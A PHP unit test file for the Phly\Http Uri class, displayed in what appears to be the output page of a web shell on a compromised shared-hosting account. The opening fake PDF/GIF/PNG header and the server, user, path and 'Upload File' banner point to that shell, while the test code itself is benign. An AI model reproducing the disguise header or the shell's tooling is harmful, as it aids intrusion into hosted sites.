%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_6ca89795/vendor/phly/http/test/ |
Upload File : |
<?php
namespace PhlyTest\Http;
use Phly\Http\Uri;
use PHPUnit_Framework_TestCase as TestCase;
class UriTest extends TestCase
{
public function testConstructorSetsAllProperties()
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$this->assertEquals('https', $uri->getScheme());
$this->assertEquals('user:pass', $uri->getUserInfo());
$this->assertEquals('local.example.com', $uri->getHost());
$this->assertEquals(3001, $uri->getPort());
$this->assertEquals('user:pass@local.example.com:3001', $uri->getAuthority());
$this->assertEquals('/foo', $uri->getPath());
$this->assertEquals('bar=baz', $uri->getQuery());
$this->assertEquals('quz', $uri->getFragment());
}
public function testCanSerializeToString()
{
$url = 'https://user:pass@local.example.com:3001/foo?bar=baz#quz';
$uri = new Uri($url);
$this->assertEquals($url, (string) $uri);
}
public function testWithSchemeReturnsNewInstanceWithNewScheme()
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$new = $uri->withScheme('http');
$this->assertNotSame($uri, $new);
$this->assertEquals('http', $new->getScheme());
$this->assertEquals('http://user:pass@local.example.com:3001/foo?bar=baz#quz', (string) $new);
}
public function testWithUserInfoReturnsNewInstanceWithProvidedUser()
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$new = $uri->withUserInfo('matthew');
$this->assertNotSame($uri, $new);
$this->assertEquals('matthew', $new->getUserInfo());
$this->assertEquals('https://matthew@local.example.com:3001/foo?bar=baz#quz', (string) $new);
}
public function testWithUserInfoReturnsNewInstanceWithProvidedUserAndPassword()
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$new = $uri->withUserInfo('matthew', 'zf2');
$this->assertNotSame($uri, $new);
$this->assertEquals('matthew:zf2', $new->getUserInfo());
$this->assertEquals('https://matthew:zf2@local.example.com:3001/foo?bar=baz#quz', (string) $new);
}
public function testWithHostReturnsNewInstanceWithProvidedHost()
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$new = $uri->withHost('framework.zend.com');
$this->assertNotSame($uri, $new);
$this->assertEquals('framework.zend.com', $new->getHost());
$this->assertEquals('https://user:pass@framework.zend.com:3001/foo?bar=baz#quz', (string) $new);
}
public function validPorts()
{
return [
'int' => [ 3000 ],
'string' => [ "3000" ]
];
}
/**
* @dataProvider validPorts
*/
public function testWithPortReturnsNewInstanceWithProvidedPort($port)
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$new = $uri->withPort($port);
$this->assertNotSame($uri, $new);
$this->assertEquals($port, $new->getPort());
$this->assertEquals(
sprintf('https://user:pass@local.example.com:%d/foo?bar=baz#quz', $port),
(string) $new
);
}
public function invalidPorts()
{
return [
'null' => [ null ],
'true' => [ true ],
'false' => [ false ],
'string' => [ 'string' ],
'array' => [ [ 3000 ] ],
'object' => [ (object) [ 3000 ] ],
'zero' => [ 0 ],
'too-small' => [ -1 ],
'too-big' => [ 65536 ],
];
}
/**
* @dataProvider invalidPorts
*/
public function testWithPortRaisesExceptionForInvalidPorts($port)
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$this->setExpectedException('InvalidArgumentException', 'Invalid port');
$new = $uri->withPort($port);
}
public function testWithPathReturnsNewInstanceWithProvidedPath()
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$new = $uri->withPath('/bar/baz');
$this->assertNotSame($uri, $new);
$this->assertEquals('/bar/baz', $new->getPath());
$this->assertEquals('https://user:pass@local.example.com:3001/bar/baz?bar=baz#quz', (string) $new);
}
public function invalidPaths()
{
return [
'null' => [ null ],
'true' => [ true ],
'false' => [ false ],
'array' => [ [ '/bar/baz' ] ],
'object' => [ (object) [ '/bar/baz' ] ],
'query' => [ '/bar/baz?bat=quz' ],
'fragment' => [ '/bar/baz#bat' ],
];
}
/**
* @dataProvider invalidPaths
*/
public function testWithPathRaisesExceptionForInvalidPaths($path)
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$this->setExpectedException('InvalidArgumentException', 'Invalid path');
$new = $uri->withPath($path);
}
public function testWithQueryReturnsNewInstanceWithProvidedQuery()
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$new = $uri->withQuery('baz=bat');
$this->assertNotSame($uri, $new);
$this->assertEquals('baz=bat', $new->getQuery());
$this->assertEquals('https://user:pass@local.example.com:3001/foo?baz=bat#quz', (string) $new);
}
public function invalidQueryStrings()
{
return [
'null' => [ null ],
'true' => [ true ],
'false' => [ false ],
'array' => [ [ 'baz=bat' ] ],
'object' => [ (object) [ 'baz=bat' ] ],
'fragment' => [ 'baz=bat#quz' ],
];
}
/**
* @dataProvider invalidQueryStrings
*/
public function testWithQueryRaisesExceptionForInvalidQueryStrings($query)
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$this->setExpectedException('InvalidArgumentException', 'Query string');
$new = $uri->withQuery($query);
}
public function testWithFragmentReturnsNewInstanceWithProvidedFragment()
{
$uri = new Uri('https://user:pass@local.example.com:3001/foo?bar=baz#quz');
$new = $uri->withFragment('qat');
$this->assertNotSame($uri, $new);
$this->assertEquals('qat', $new->getFragment());
$this->assertEquals('https://user:pass@local.example.com:3001/foo?bar=baz#qat', (string) $new);
}
public function authorityInfo()
{
return [
'host-only' => [ 'http://foo.com/bar', 'foo.com' ],
'host-port' => [ 'http://foo.com:3000/bar', 'foo.com:3000' ],
'user-host' => [ 'http://me@foo.com/bar', 'me@foo.com' ],
'user-host-port' => [ 'http://me@foo.com:3000/bar', 'me@foo.com:3000' ],
];
}
/**
* @dataProvider authorityInfo
*/
public function testRetrievingAuthorityReturnsExpectedValues($url, $expected)
{
$uri = new Uri($url);
$this->assertEquals($expected, $uri->getAuthority());
}
public function testCanEmitOriginFormUrl()
{
$url = '/foo/bar?baz=bat';
$uri = new Uri($url);
$this->assertEquals($url, (string) $uri);
}
public function testSettingEmptyPathOnAbsoluteUriIsEquivalentToSettingRootPath()
{
$uri = new Uri('http://example.com/foo');
$new = $uri->withPath('');
$this->assertEquals('/', $new->getPath());
}
public function testStringRepresentationOfAbsoluteUriWithNoPathNormalizesPath()
{
$uri = new Uri('http://example.com');
$this->assertEquals('http://example.com/', (string) $uri);
}
public function testEmptyPathOnOriginFormIsEquivalentToRootPath()
{
$uri = new Uri('?foo=bar');
$this->assertEquals('/', $uri->getPath());
}
public function testStringRepresentationOfOriginFormWithNoPathNormalizesPath()
{
$uri = new Uri('?foo=bar');
$this->assertEquals('/?foo=bar', (string) $uri);
}
public function invalidConstructorUris()
{
return [
'null' => [ null ],
'true' => [ true ],
'false' => [ false ],
'int' => [ 1 ],
'float' => [ 1.1 ],
'array' => [ [ 'http://example.com/' ] ],
'object' => [ (object) [ 'uri' => 'http://example.com/' ] ],
];
}
/**
* @dataProvider invalidConstructorUris
*/
public function testConstructorRaisesExceptionForNonStringURI($uri)
{
$this->setExpectedException('InvalidArgumentException');
new Uri($uri);
}
public function testMutatingSchemeStripsOffDelimiter()
{
$uri = new Uri('http://example.com');
$new = $uri->withScheme('https://');
$this->assertEquals('https', $new->getScheme());
}
public function invalidSchemes()
{
return [
'mailto' => [ 'mailto' ],
'ftp' => [ 'ftp' ],
'telnet' => [ 'telnet' ],
'ssh' => [ 'ssh' ],
'git' => [ 'git' ],
];
}
/**
* @dataProvider invalidSchemes
*/
public function testConstructWithUnsupportedSchemeRaisesAnException($scheme)
{
$this->setExpectedException('InvalidArgumentException', 'Unsupported scheme');
$uri = new Uri($scheme . '://example.com');
}
/**
* @dataProvider invalidSchemes
*/
public function testMutatingWithUnsupportedSchemeRaisesAnException($scheme)
{
$uri = new Uri('http://example.com');
$this->setExpectedException('InvalidArgumentException', 'Unsupported scheme');
$uri->withScheme($scheme);
}
public function testPathIsPrefixedWithSlashIfSetWithoutOne()
{
$uri = new Uri('http://example.com');
$new = $uri->withPath('foo/bar');
$this->assertEquals('/foo/bar', $new->getPath());
}
public function testStripsQueryPrefixIfPresent()
{
$uri = new Uri('http://example.com');
$new = $uri->withQuery('?foo=bar');
$this->assertEquals('foo=bar', $new->getQuery());
}
public function testStripsFragmentPrefixIfPresent()
{
$uri = new Uri('http://example.com');
$new = $uri->withFragment('#/foo/bar');
$this->assertEquals('/foo/bar', $new->getFragment());
}
public function standardSchemePortCombinations()
{
return [
'http' => [ 'http', 80 ],
'https' => [ 'https', 443 ],
];
}
/**
* @dataProvider standardSchemePortCombinations
*/
public function testAuthorityOmitsPortForStandardSchemePortCombinations($scheme, $port)
{
$uri = (new Uri())
->withHost('example.com')
->withScheme($scheme)
->withPort($port);
$this->assertEquals('example.com', $uri->getAuthority());
}
public function mutations()
{
return [
'scheme' => ['withScheme', 'https'],
'user-info' => ['withUserInfo', 'foo'],
'host' => ['withHost', 'www.example.com'],
'port' => ['withPort', 8080],
'path' => ['withPath', '/changed'],
'query' => ['withQuery', 'changed=value'],
'fragment' => ['withFragment', 'changed'],
];
}
/**
* @group 48
* @dataProvider mutations
*/
public function testMutationResetsUriStringPropertyInClone($method, $value)
{
$uri = new Uri('http://example.com/path?query=string#fragment');
$string = (string) $uri;
$this->assertAttributeEquals($string, 'uriString', $uri);
$test = $uri->{$method}($value);
$this->assertAttributeInternalType('null', 'uriString', $test);
$this->assertAttributeEquals($string, 'uriString', $uri);
}
/**
* @group 40
*/
public function testPathIsProperlyEncoded()
{
$uri = (new Uri())->withPath('/foo^bar');
$expected = '/foo%5Ebar';
$this->assertEquals($expected, $uri->getPath());
}
public function testPathDoesNotBecomeDoubleEncoded()
{
$uri = (new Uri())->withPath('/foo%5Ebar');
$expected = '/foo%5Ebar';
$this->assertEquals($expected, $uri->getPath());
}
public function queryStringsForEncoding()
{
return [
'key-only' => ['k^ey', 'k%5Eey'],
'key-value' => ['k^ey=valu`', 'k%5Eey=valu%60'],
'array-key-only' => ['key[]', 'key%5B%5D'],
'array-key-value' => ['key[]=valu`', 'key%5B%5D=valu%60'],
'complex' => ['k^ey&key[]=valu`&f<>=`bar', 'k%5Eey&key%5B%5D=valu%60&f%3C%3E=%60bar'],
];
}
/**
* @group 40
* @dataProvider queryStringsForEncoding
*/
public function testQueryIsProperlyEncoded($query, $expected)
{
$uri = (new Uri())->withQuery($query);
$this->assertEquals($expected, $uri->getQuery());
}
/**
* @group 40
* @dataProvider queryStringsForEncoding
*/
public function testQueryIsNotDoubleEncoded($query, $expected)
{
$uri = (new Uri())->withQuery($expected);
$this->assertEquals($expected, $uri->getQuery());
}
/**
* @group 40
*/
public function testFragmentIsProperlyEncoded()
{
$uri = (new Uri())->withFragment('/p^th?key^=`bar#b@z');
$expected = '/p%5Eth?key%5E=%60bar%23b@z';
$this->assertEquals($expected, $uri->getFragment());
}
/**
* @group 40
*/
public function testFragmentIsNotDoubleEncoded()
{
$expected = '/p%5Eth?key%5E=%60bar%23b@z';
$uri = (new Uri())->withFragment($expected);
$this->assertEquals($expected, $uri->getFragment());
}
}